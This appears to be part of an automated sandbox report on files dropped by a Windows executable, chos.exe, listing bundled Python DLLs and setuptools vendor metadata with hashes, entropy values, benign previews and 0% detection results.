                                                                                                                                                                                                                                            MD5:123AD0908C76CCBA4789C084F7A6B8D0
                                                                                                                                                                                                                                            SHA1:86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
                                                                                                                                                                                                                                            SHA-256:4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
                                                                                                                                                                                                                                            SHA-512:80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\libffi-8.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):39696
                                                                                                                                                                                                                                            Entropy (8bit):6.641880464695502
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
                                                                                                                                                                                                                                            MD5:0F8E4992CA92BAAF54CC0B43AACCCE21
                                                                                                                                                                                                                                            SHA1:C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
                                                                                                                                                                                                                                            SHA-256:EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
                                                                                                                                                                                                                                            SHA-512:6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\libssl-3.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):792856
                                                                                                                                                                                                                                            Entropy (8bit):5.57949182561317
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
                                                                                                                                                                                                                                            MD5:4FF168AAA6A1D68E7957175C8513F3A2
                                                                                                                                                                                                                                            SHA1:782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
                                                                                                                                                                                                                                            SHA-256:2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
                                                                                                                                                                                                                                            SHA-512:C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..|m..|m..|m.u.m..|m+.}l..|m.u}l..|m+..l..|m+.xl..|m+.yl..|m..}l..|m..}m..|m..xl..|m..|l..|m...m..|m..~l..|mRich..|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\pyexpat.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):201488
                                                                                                                                                                                                                                            Entropy (8bit):6.375994899027017
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:6144:cAPHiRwroqoLHMpCSNVysh9CV2i6P/1vTg:6wrExSU6PdvTg
                                                                                                                                                                                                                                            MD5:CF2C3D127F11CB2C026E151956745564
                                                                                                                                                                                                                                            SHA1:B1C8C432FC737D6F455D8F642A4F79AD95A97BD3
                                                                                                                                                                                                                                            SHA-256:D3E81017B4A82AE1B85E8CD6B9B7EB04D8817E29E5BC9ECE549AC24C8BB2FF23
                                                                                                                                                                                                                                            SHA-512:FE3A9C8122FFFF4AF7A51DF39D40DF18E9DB3BC4AED6B161A4BE40A586AC93C1901ACDF64CC5BFFF6975D22073558FC7A37399D016296432057B8150848F636E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1..P.P.P.(t..P...P...P...P...P....P..(.P.P..P....P....P......P....P.Rich.P.........................PE..d.....g.........." ...)..................................................... ............`............................................P... ............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata....... ......................@..@.data.... ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\python3.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):70416
                                                                                                                                                                                                                                            Entropy (8bit):6.1258200129869405
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:pQEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiD:/otssyKcunV8PjZIJy0i7SyWH1
                                                                                                                                                                                                                                            MD5:16855EBEF31C5B1EBE767F1C617645B3
                                                                                                                                                                                                                                            SHA1:315521F3A748ABFA35CD4D48E8DD09D0556D989B
                                                                                                                                                                                                                                            SHA-256:A5C6A329698490A035133433928D04368CE6285BB91A9D074FC285DE4C9A32A4
                                                                                                                                                                                                                                            SHA-512:C3957B3BD36B10C7AD6EA1FF3BC7BD65CDCEB3E6B4195A25D0649AA0DA179276CE170DA903D77B50A38FC3D5147A45BE32DBCFDBFBF76CC46301199C529ADEA4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%?..a^e.a^e.a^e.).m.`^e.).e.`^e.)..`^e.).g.`^e.Richa^e.........PE..d......g.........." ...)............................................................z.....`.........................................`..................................../..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\python313.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):6083856
                                                                                                                                                                                                                                            Entropy (8bit):6.126922729922386
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
                                                                                                                                                                                                                                            MD5:B9DE917B925DD246B709BB4233777EFD
                                                                                                                                                                                                                                            SHA1:775F258D8B530C6EA9F0DD3D1D0B61C1948C25D2
                                                                                                                                                                                                                                            SHA-256:0C0A66505093B6A4BB3475F716BD3D9552095776F6A124709C13B3F9552C7D99
                                                                                                                                                                                                                                            SHA-512:F4BF3398F50FDD3AB7E3F02C1F940B4C8B5650ED7AF16C626CCD1B934053BA73A35F96DA03B349C1EB614BB23E0BC6B5CC58B07B7553A5C93C6D23124F324A33
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).:+..T9......J........................................d.....uF]...`...........................................O.....h.P.......d......0].......\../....d..... A3.T.....................I.(....?3.@............P+..............................text....8+......:+................. ..`.rdata....%..P+...%..>+.............@..@.data...$9....P..N....P.............@....pdata.......0]...... U.............@..@PyRuntim.N...._..P....W.............@....rsrc.........d.......[.............@..@.reloc........d.......[.............@..B........................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\select.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):30992
                                                                                                                                                                                                                                            Entropy (8bit):6.554484610649281
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:7hhxm9tKLhuoNHfzzlvFy0ZZIJ9GckHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:tCytHf98uZIJ9Gx5YiSyvy2ES
                                                                                                                                                                                                                                            MD5:20831703486869B470006941B4D996F2
                                                                                                                                                                                                                                            SHA1:28851DFD43706542CD3EF1B88B5E2749562DFEE0
                                                                                                                                                                                                                                            SHA-256:78E5994C29D8851F28B5B12D59D742D876683AEA58ECEEA1FB895B2036CDCDEB
                                                                                                                                                                                                                                            SHA-512:4AAF5D66D2B73F939B9A91E7EDDFEB2CE2476C625586EF227B312230414C064AA850B02A4028363AA4664408C9510594754530A6D026A0A84BE0168D677C1BC4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).....2............................................................`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...p....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\INSTALLER

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4
                                                                                                                                                                                                                                            Entropy (8bit):1.5
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:Mn:M
                                                                                                                                                                                                                                            MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                            SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                            SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                            SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:pip.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\LICENSE

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):11358
                                                                                                                                                                                                                                            Entropy (8bit):4.4267168336581415
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
                                                                                                                                                                                                                                            MD5:3B83EF96387F14655FC854DDC3C6BD57
                                                                                                                                                                                                                                            SHA1:2B8B815229AA8A61E483FB4BA0588B8B6C491890
                                                                                                                                                                                                                                            SHA-256:CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
                                                                                                                                                                                                                                            SHA-512:98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\METADATA

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4648
                                                                                                                                                                                                                                            Entropy (8bit):5.006900644756252
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:Dx2ZSaCSmS8R902Vpnu386eLQ9Ac+fFZpDN00x2jZ2SBXZJSwTE:9Smzf02Vpnu386mQ9B+TP0vJHJSwTE
                                                                                                                                                                                                                                            MD5:98ABEAACC0E0E4FC385DFF67B607071A
                                                                                                                                                                                                                                            SHA1:E8C830D8B0942300C7C87B3B8FD15EA1396E07BD
                                                                                                                                                                                                                                            SHA-256:6A7B90EFFEE1E09D5B484CDF7232016A43E2D9CC9543BCBB8E494B1EC05E1F59
                                                                                                                                                                                                                                            SHA-512:F1D59046FFA5B0083A5259CEB03219CCDB8CC6AAC6247250CBD83E70F080784391FCC303F7630E1AD40E5CCF5041A57CB9B68ADEFEC1EBC6C31FCF7FFC65E9B7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Metadata-Version: 2.1.Name: importlib_metadata.Version: 8.0.0.Summary: Read metadata from Python packages.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Source, https://github.com/python/importlib_metadata.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: zipp >=0.5.Requires-Dist: typing-extensions >=3.6.4 ; python_version < "3.8".Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'doc'.Provides-Extra: perf.Requires-D

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\RECORD

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:CSV text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):2518
                                                                                                                                                                                                                                            Entropy (8bit):5.6307766747793275
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:48:UnuXTg06U5J/Vw9l/gfNX7/XzBk9pvJq/fwJOfYrBfnJ/V0XJnzN/3WJV:bXzP/EgdzzBkDJsoIYrBfJ/CXNz9qV
                                                                                                                                                                                                                                            MD5:EB513CAFA5226DDA7D54AFDCC9AD8A74
                                                                                                                                                                                                                                            SHA1:B394C7AEC158350BAF676AE3197BEF4D7158B31C
                                                                                                                                                                                                                                            SHA-256:0D8D3C6EEB9EBBE86CAC7D60861552433C329DA9EA51248B61D02BE2E5E64030
                                                                                                                                                                                                                                            SHA-512:A0017CFAFF47FDA6067E3C31775FACEE4728C3220C2D4BD70DEF328BD20AA71A343E39DA15CD6B406F62311894C518DFCF5C8A4AE6F853946F26A4B4E767924E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:importlib_metadata-8.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_metadata-8.0.0.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_metadata-8.0.0.dist-info/METADATA,sha256=anuQ7_7h4J1bSEzfcjIBakPi2cyVQ7y7jklLHsBeH1k,4648..importlib_metadata-8.0.0.dist-info/RECORD,,..importlib_metadata-8.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..importlib_metadata-8.0.0.dist-info/WHEEL,sha256=mguMlWGMX-VHnMpKOjjQidIo1ssRlCFu4a4mBpz1s2M,91..importlib_metadata-8.0.0.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19..importlib_metadata/__init__.py,sha256=tZNB-23h8Bixi9uCrQqj9Yf0aeC--Josdy3IZRIQeB0,33798..importlib_metadata/__pycache__/__init__.cpython-312.pyc,,..importlib_metadata/__pycache__/_adapters.cpython-312.pyc,,..importlib_metadata/__pycache__/_collections.cpython-312.pyc,,..importlib_metadata/__pycache__/_compat.cpython-312.pyc,,..importlib_metadata/__pycac

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\WHEEL

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):91
                                                                                                                                                                                                                                            Entropy (8bit):4.687870576189661
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:RtEeXMRYFAVLMvhRRP+tPCCfA5S:RtC1VLMvhjWBBf
                                                                                                                                                                                                                                            MD5:7D09837492494019EA51F4E97823D79F
                                                                                                                                                                                                                                            SHA1:7829B4324BB542799494131A270EC3BDAD4DEDEF
                                                                                                                                                                                                                                            SHA-256:9A0B8C95618C5FE5479CCA4A3A38D089D228D6CB1194216EE1AE26069CF5B363
                                                                                                                                                                                                                                            SHA-512:A0063220ECDD22C3E735ACFF6DE559ACF3AC4C37B81D37633975A22A28B026F1935CD1957C0FF7D2ECC8B7F83F250310795EECC5273B893FFAB115098F7B9C38
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Wheel-Version: 1.0.Generator: setuptools (70.1.1).Root-Is-Purelib: true.Tag: py3-none-any..

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):19
                                                                                                                                                                                                                                            Entropy (8bit):3.536886723742169
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:JSej0EBERG:50o4G
                                                                                                                                                                                                                                            MD5:A24465F7850BA59507BF86D89165525C
                                                                                                                                                                                                                                            SHA1:4E61F9264DE74783B5924249BCFE1B06F178B9AD
                                                                                                                                                                                                                                            SHA-256:08EDDF0FDCB29403625E4ACCA38A872D5FE6A972F6B02E4914A82DD725804FE0
                                                                                                                                                                                                                                            SHA-512:ECF1F6B777970F5257BDDD353305447083008CEBD8E5A27C3D1DA9C7BDC3F9BF3ABD6881265906D6D5E11992653185C04A522F4DB5655FF75EEDB766F93D5D48
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:importlib_metadata.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\jaraco\text\Lorem ipsum.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text, with very long lines (888)
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1335
                                                                                                                                                                                                                                            Entropy (8bit):4.226823573023539
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24:FP6Hbz+g9RPZ14bJi04L6GEbX4UQF4UkZQhxI2EIhNyu:9E+i6bJmLm43+Uxxnh0u
                                                                                                                                                                                                                                            MD5:4CE7501F6608F6CE4011D627979E1AE4
                                                                                                                                                                                                                                            SHA1:78363672264D9CD3F72D5C1D3665E1657B1A5071
                                                                                                                                                                                                                                            SHA-256:37FEDCFFBF73C4EB9F058F47677CB33203A436FF9390E4D38A8E01C9DAD28E0B
                                                                                                                                                                                                                                            SHA-512:A4CDF92725E1D740758DA4DD28DF5D1131F70CEF46946B173FE6956CC0341F019D7C4FECC3C9605F354E1308858721DADA825B4C19F59C5AD1CE01AB84C46B24
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum..Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info\INSTALLER

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4
                                                                                                                                                                                                                                            Entropy (8bit):1.5
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:Mn:M
                                                                                                                                                                                                                                            MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                            SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                            SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                            SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:pip.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1107
                                                                                                                                                                                                                                            Entropy (8bit):5.115074330424529
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
                                                                                                                                                                                                                                            MD5:7FFB0DB04527CFE380E4F2726BD05EBF
                                                                                                                                                                                                                                            SHA1:5B39C45A91A556E5F1599604F1799E4027FA0E60
                                                                                                                                                                                                                                            SHA-256:30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
                                                                                                                                                                                                                                            SHA-512:205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info\METADATA

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            File Type:Unicode text, UTF-8 text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):2153
